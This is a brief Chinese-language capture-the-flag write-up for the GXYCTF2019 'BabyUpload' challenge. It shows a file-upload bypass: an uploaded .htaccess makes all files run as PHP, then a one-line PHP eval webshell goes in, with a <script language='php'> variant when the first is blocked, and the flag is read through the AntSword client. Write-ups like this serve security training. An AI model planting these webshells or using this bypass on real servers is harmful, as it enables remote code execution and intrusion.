[GXYCTF2019]BabyUpload

png 文件不许上传,尝试上传 jpg

修改后缀名为.htaccess,文件内容为

SetHandler application/x-httpd-php

上传一句话木马

<?php eval($_POST[cmd]);?>

失败,换一种方式

<script language='php'>eval($_POST[a]);</script>

上传成功,蚁剑连接一下,在根目录找到 flag

更新于 阅读次数

请我喝[茶]~( ̄▽ ̄)~*

zeroc 微信支付

微信支付

zeroc 支付宝

支付宝

zeroc 贝宝

贝宝